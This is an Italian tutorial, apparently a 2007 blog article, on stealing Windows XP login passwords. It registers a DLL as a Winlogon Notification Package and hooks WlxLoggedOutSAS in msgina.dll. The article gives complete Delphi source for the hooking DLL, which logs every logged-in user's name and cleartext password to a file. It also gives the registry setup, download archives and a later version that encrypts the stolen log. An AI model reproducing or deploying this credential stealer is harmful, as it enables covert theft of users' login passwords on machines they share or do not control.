|
In questo articolo vado ad esporre una tecnica per poter loggare la password
in chiaro di un utente che fa Login su Windows; ho fatto il test su
Windows XP
(Home e Professional) e funziona con qualsiasi utenza: ho fatto dei test col
cambio rapido utente attivo e quando vado ad eseguire il login di qualsiasi
utenza, mi trovo sul file di log prestabilito il nome dell'utenza e la sua
password in chiaro. Non ho fatto delle prove su Windows 2000 server, Windows
Server 2003 e Windows Server 2003 R2, ma penso che dovrebbe andare. Fatemi
sapere se funzia anche li sopra.
1. Immersione
Questo articolo potrebbe essere il preludio ad un'immensa mole di
informazioni relativamente a Windows (msgina.dll più comunemente chiamata
GINA,
window stations, desktops, api hooking in user mode,
winlogon notification packages, solo per
descrivere i concetti cardine). Facendo riferimento ai concetti base appena
enunciati, è doveroso dire che a partire da Windows Vista, i concetti di di
GINA
e Winlogon Notification Packages non faranno più parte del sistema, ma del resto
Vista è appena uscito (scrivo quest'articolo in data 6 Febbraio 2007) e tempo
ancora ci vorrà prima che venga fuori il fratello lato server (battezzato per
ora Longhorn Server). Quindi basiamoci su quella che è tuttora la totalità dei
sistemi operativi di casa Microsoft ossia la famiglia XP, 2000, 2003: i concetti
precedentemente enunciati sono parte integrante di questa famiglia. Non ho
ancora finito di sistemare un mio articolo sui Winlogon Notification Package,
più che altro per la paranoia di affrontare con dovizia di dettagli tutti i
concetti in campo; quindi per il momento dovremo accontentarci di prendere per
buona questa tecnologia (chiaramente per chi volesse approfondire, il Platform
SDK è ben lieto di ottemperare agli obblighi di informazione). Bene, desideroso
di cancellare nel più breve tempo possibile, le ca***te scritte nelle ultime
righe e sostituirle con un sintetico ma efficace link al mio futuro articolazzo,
proseguiamo il discorso: come prima cosa vorrei dire che, caso ci fosse qualcuno
interessato ad approfondire i meandri della GINA, è bene che cominci a googlare
un pò perchè non ho la minima intenzione di partorire un bambino di nome figlio
di GINA. Detto questo inserisco invece il link all'api hooking in user mode:
TAAACCCC. Bene. Ah dimenticavo una cosa: ho cominciato questo paragrafo dicendo
solennemente che questo articolo potrebbe essere il preludio ad un'immensa mole
di informazioni relativamente a Windows; mi spiace ma vale il condizionale, nel
senso che non è il caso di buttare tanta carne al fuoco; ci limiteremo quindi al
minimo indispensabile per rendere il tutto più chiaro.
1.1 Concetto di base
La chiave di volta di tutto è intercettare l'API WlxLoggedOutSAS
implementa nella dll msgina.dll. Questa dll viene caricata da
winlogon.exe nella fase di creazione, quindi una volta che il loader di
Windows
ha creato il processo relativo a winlogon.exe ed ha provveduto al caricamento di
tutti i moduli dll presenti nella sua tabella di import, ci troviamo un processo
(winlogon.exe) con msgina.dll ben mappata nel suo spazio di memoria. A questo
punto occorre mappare una dll nello spazio di memoria di winlogon, la quale vada
a mettere un hook (utilizzando la procedura di hooking definita nell'articolo
sull' API Hooking in User Mode) sull'api WlxLoggedOutSAS. La versione custom della
WlxLoggedOutSAS
(versione custom che è appunto implementata nella nostra dll che andiamo a
mappare), chiamerà la versione originale ed in più andrà a loggare i valori del
nome utente e della password: questi valori infatti fanno parte del record usato
come ultimo parametro dalla WlxLoggedOutSAS. Qual'è il modo migliore per
garantire il caricamento della nostra dll nello spazio di memoria di winlogon?
La risposta è ricorrere ad un winlogon notification package (d'ora in poi
WNP).
Un WNP è una dll che viene "registrata" nel registro di Windows: di seguito
un'immagine per rendere meglio l'idea

Facendo riferimento alla figura si ha che la registrazione della dll avviene
nella seguente maniera
Considero la chiave di registro seguente:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify]
Creo una sottochiave con un nome qualsiasi: nell'esempio ho scelto
PWDLogger
All'interno della sottochiave creo i valori che vediamo in figura.
DLLName indica il nome della dll: in questo caso WinLogonHijacker.dll; poichè
non vado a specificare un percorso, la dll in questione dovrà essere sistemata
nella cartella di sistema (\windows\system32)
Tralasciamo per il momento i valori di tipo DWORD (per i quali rimando
tranquillamente al Platform SDK)
I valori di tipo REG_SZ hanno tutti il medesimo significato. Ognuno di essi
rappresenta un instante specifico: ad esempio Logon fa riferimento all'istante
in cui l'utente inserisce username e password e, in seguito all'inserimento
corretto dei medesimi, inizia l'apertura della sessione; StartShell è l'istante,
successivo al Logon, in cui viene avviata la Shell (di default explorer.exe);
PostShell è l'istante in cui la shell viene dichiarata effettivamente attivata;
StartScreenSaver è l'istante in cui viene lanciato lo ScreenSaver (StopScreenSaver
non c'è bisogno di dirlo); Lock si ha quando faccio Windows + L;
Unlock quando
rientro nella sessione. Bene, il dato associato ad ognuno di questi nomi, è il
nome di una funzione esportata dalla dll: quindi se ho il valore
StartScreenSaver con dato pari a StartScreenSaverHandler, ciò significa che in
corrispondenza dell'avvio dello ScreenSaver, winlogon (e sottolineo il signor
processo winlogon) andrà a chiamare la funzione StartScreenSaverHandler
esportata dal nostro WNP. Come ultima cosa bisogna dire che, non occorre
specificare tutti i valori sopra elencati: nell'immagine si possono vedere tutti
i valori definibili nell'ambito di un WNP, ed ho scelto di metterli tutti per
definire lo scheletro di base di un WNP; nella pratica si andrà ad utilizzare
solo i valori necessari nell'ambito della specifica implementazione: ad esempi
se mi interessa loggare data e ora di avvio dello screensaver e nient'altro,
userò solo il valore StartScreenSaver e nella mia dll andrò a definire e ad
esportare solo la funzione associata a questo evento (funzione che nell'esempio
si chiama StartScreenSaverHandler ma che potrei chiamare in qualsiasi modo:
l'importante è che assegno al valore StartScreenSaver un dato che corrisponde al
nome con cui vado ad esportare la funzione nella dll).
Bene, ora che abbiamo visto come registrare un WNP, torniamo all'inizio:
quand'è che sta benedetta dll (WNP) viene mappata nello spazio di memoria di
winlogon? La risposta è: agli inizi della propria esecuzione; quindi una volta
che il loader ha creato il processo associato a winlogon.exe ed ha caricato nel
suo spazio di memoria tutti i moduli inclusi nella Tabella di Import, le prime
righe di codice del processo vanno a leggere il registro, leggono la chiave
sopra definita, e per ogni sottochiave, mappano nello spazio di memoria di
winlogon, le dll di volta in volta specificate dal valore DllName. Stupendo:
quindi, visto che dobbiamo Hookare una funzione esportata dalla dll msgina.dll
che si trova nello spazio di memoria di winlogon, e quindi dobbiamo mappare
anche la nostra dll di hooking nello spazio di memoria di winlogon, quale
miglior strada che implementare la nostra dll di hooking come WNP.
2. Implementazione
Di seguito il sorgente del nostro WNP
library WinLogonHijacker;
uses
Windows,
InterceptUnit;
type
TFnMsgeCallback = function (bVerbose: Boolean; lpMessage: PWideChar): Cardinal; stdcall;
TWlxNotificationInfo = record
Size: Cardinal;
Flags: Cardinal;
UserName: PWideChar;
Domain: PWideChar;
WindowStation: PWideChar;
Token: Cardinal;
Desktop: Cardinal;
StatusCallback: TFnMsgeCallback;
end;
PWlxNotificationInfo = ^TWlxNotificationInfo;
procedure StartupHandler(Info: PWlxNotificationInfo); stdcall;
begin
end;
procedure LogonHandler(Info: PWlxNotificationInfo); stdcall;
begin
end;
procedure StartShellHandler(Info: PWlxNotificationInfo); stdcall;
begin
end;
procedure LockHandler(Info: PWlxNotificationInfo); stdcall;
begin
end;
procedure UnLockHandler(Info: PWlxNotificationInfo); stdcall;
begin
end;
procedure StartScreenSaverHandler(Info: PWlxNotificationInfo); stdcall;
begin
end;
procedure StopScreenSaverHandler(Info: PWlxNotificationInfo); stdcall;
begin
end;
procedure LogoffHandler(Info: PWlxNotificationInfo); stdcall;
begin
end;
procedure ShutdownHandler(Info: PWlxNotificationInfo); stdcall;
begin
end;
procedure DisconnectHandler(Info: PWlxNotificationInfo); stdcall;
begin
end;
procedure ReconnectHandler(Info: PWlxNotificationInfo); stdcall;
begin
end;
procedure PostShellHandler(Info: PWlxNotificationInfo); stdcall;
begin
end;
procedure EntryPointProc(reason: integer);
begin
case reason of
DLL_PROCESS_ATTACH: //1
begin
//disabilito la chiamata dell'entrypoint della DLL
//ad ogni creazione (DLL_THREAD_ATTACH) o terminazione (DLL_THREAD_DETACH)
//di un thread nello spazio di memoria del proceso in cui è caricata la dll
DisableThreadLibraryCalls(hInstance);
SetHooks;
end;
DLL_THREAD_ATTACH: //2
begin
end;
DLL_PROCESS_DETACH: //3
begin
end;
DLL_THREAD_DETACH: //0
begin
end;
end;
end;
exports
StartupHandler,
LogonHandler,
StartShellHandler,
LockHandler,
UnLockHandler,
StartScreenSaverHandler,
StopScreenSaverHandler,
LogoffHandler,
ShutdownHandler,
DisconnectHandler,
ReconnectHandler,
PostShellHandler;
begin
DllProc := @EntryPointProc;
DllProc(DLL_PROCESS_ATTACH);
end.
Piccole osservazioni: avrei potuto evitare di definire tutte le funzioni e di esportarle in quanto non ci interessa, in questo contesto, di avere segnalazioni di questo tipo, solo che ho notato che, omettendo le funzioni dal registro, poi la dll non veniva caricata: non so dire con certezza se fosse quello il problema o ci fosse un altro errore concomitante, tuttavia alla fine ho optato per uno scheletro di WNP con tutti gli handler possibili (ognuno senza implementazione). In principio avevo ridotto all'osso l'elenco dei valori in figura limitandomi al valore DLLName ma la dll non veniva caricata allora mi son detto: per non saper ne leggere ne scrivere mettiamo tutto (non avevo neanche voglia più di tanto di far tutte le prove e vedere qual è l'insieme minimo di valori accettati). La stessa cosa vale per la chiave di registro che sarà completa proprio come nell'immagine sopra. 2.1 Hooking La dll al paragrafo 2. chiama, nel suo entrypoint, la procedura SetHook che si occupa di effettuare l'hooking sulla WlxLoggedOutSAS. Di seguito il sorgente della Unit InterceptUnit che implementa tale procedura
unit InterceptUnit;
interface
uses
Windows,
uHooking;
procedure SetHooks;
procedure RemoveHooks;
implementation
//possibili output della funzione WlxLoggedOutSAS
const
WLX_SAS_ACTION_LOGON = 1; //un utente si è loggato
WLX_SAS_ACTION_NONE = 2; //il tentativo di login è risultato fallimentare
WLX_SAS_ACTION_SHUTDOWN = 5; //è stato richiesto lo shutdown del sistema
type
PWLX_MPR_NOTIFY_INFO = ^WLX_MPR_NOTIFY_INFO;
_WLX_MPR_NOTIFY_INFO = record
//
// The name of the account logged onto (e.g. REDMOND\Joe).
// The string pointed to by this field must be separately
// allocated and will be separately deallocated by Winlogon.
//
pszUserName: PWideChar;
//
// The string pointed to by this field must be separately
// allocated and will be separately deallocated by Winlogon.
//
pszDomain: PWideChar;
//
// Cleartext password of the user account. If the OldPassword
// field is non-null, then this field contains the new password
// in a password change operation. The string pointed to by
// this field must be separately allocated and will be seperately
// deallocated by Winlogon.
//
pszPassword: PWideChar;
//
// Cleartext old password of the user account whose password
// has just been changed. The Password field contains the new
// password. The string pointed to by this field must be
// separately allocated and will be separately deallocated by
// Winlogon.
//
pszOldPassword: PWideChar;
end;
WLX_MPR_NOTIFY_INFO = _WLX_MPR_NOTIFY_INFO;
TWlxMprNotifyInfo = WLX_MPR_NOTIFY_INFO;
PWlxMprNotifyInfo = PWLX_MPR_NOTIFY_INFO;
var
OriginalWlxLoggedOutSAS, TrampolineWlxLoggedOutSAS: function(
pWlxContext: Pointer;
dwSasType: Cardinal;
pAuthenticationId: Pointer;
pLogonSid: Pointer;
pdwOptions: Pointer;
phToken: Pointer;
pNprNotifyInfo: PWLX_MPR_NOTIFY_INFO;
pProfile: Pointer
): Integer; stdcall;
function ScriviSuFile(nomefile: string; val: string): Boolean;
var
error_log_File : TextFile;
FileHandle: integer;
BytesWritten: Cardinal;
disp1 : Cardinal;
disp2: Pointer;
LogLine: string;
begin
Result := False;
try
LogLine := val + #13#10;
FileHandle := CreateFileA(
PAnsiChar(nomefile),
GENERIC_WRITE,
0,
nil,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
0
);
if FileHandle = -1 then
Exit;
disp1 := 0;
disp2 := nil;
if SetFilePointer(FileHandle, disp1, disp2, FILE_END) = -1 then
Exit;
if not WriteFile(FileHandle, PAnsiChar(LogLine)^, Length(LogLine), BytesWritten, nil) then
Exit;
finally
if FileHandle <> -1 then
CloseHandle(FileHandle);
end;
end;
function CustomWlxLoggedOutSAS(
pWlxContext: Pointer;
dwSasType: Cardinal;
pAuthenticationId: Pointer;
pLogonSid: Pointer;
pdwOptions: Pointer;
phToken: Pointer;
pNprNotifyInfo: PWLX_MPR_NOTIFY_INFO;
pProfile: Pointer
): Integer; stdcall;
begin
result := TrampolineWlxLoggedOutSAS(
pWlxContext,
dwSasType,
pAuthenticationId,
pLogonSid,
pdwOptions,
phToken,
pNprNotifyInfo,
pProfile
);
if Result = WLX_SAS_ACTION_LOGON then
begin
ScriviSuFile('c:\PWDLogger.txt', WideCharToString(pNprNotifyInfo^.pszUserName) + ' ; ' +
WideCharToString(pNprNotifyInfo^.pszPassword));
end;
end;
//procedura per definire tutte le intercettazioni e sostituzioni
procedure SetHooks;
var
h: integer;
begin
h := GetModuleHandle('msgina.dll');
if h > 0 then
begin
@OriginalWlxLoggedOutSAS := GetProcAddress(h,'WlxLoggedOutSAS');
if @OriginalWlxLoggedOutSAS <> nil then
HookCode(@OriginalWlxLoggedOutSAS,@CustomWlxLoggedOutSAS,@TrampolineWlxLoggedOutSAS);
end;
end;
//procedura per eliminare tutte le intercettazioni e sostituzioni
procedure RemoveHooks;
begin
UnhookCode(@TrampolineWlxLoggedOutSAS);
end;
end.
Come si può vedere, il log avviene nel file c:\PWDLogger.txt WinLogonHijacker.7z Utilizzo di un file di log criptato (28/09/07) Con questa modifica, il file su cui vengono loggate username e password è criptato. Ho utilizzato le unit definite nell'ambito dell'articolo Criptazione: algoritmo di Rijndael per ottenere un log criptato. Il crypting avviene tramite l'algoritmo di Rijndael in CBC: per decriptare il file basta scaricarsi l'applicativo all'indirizzo crypto_kol_src_exe.7z ed impostare il CipherMode su CBC. WinLogonHijacker_CryptedLog.7z Data ultimo aggiornamento: 28/09/2007 (Il file su cui vado a loggare username e password è ora criptato)
|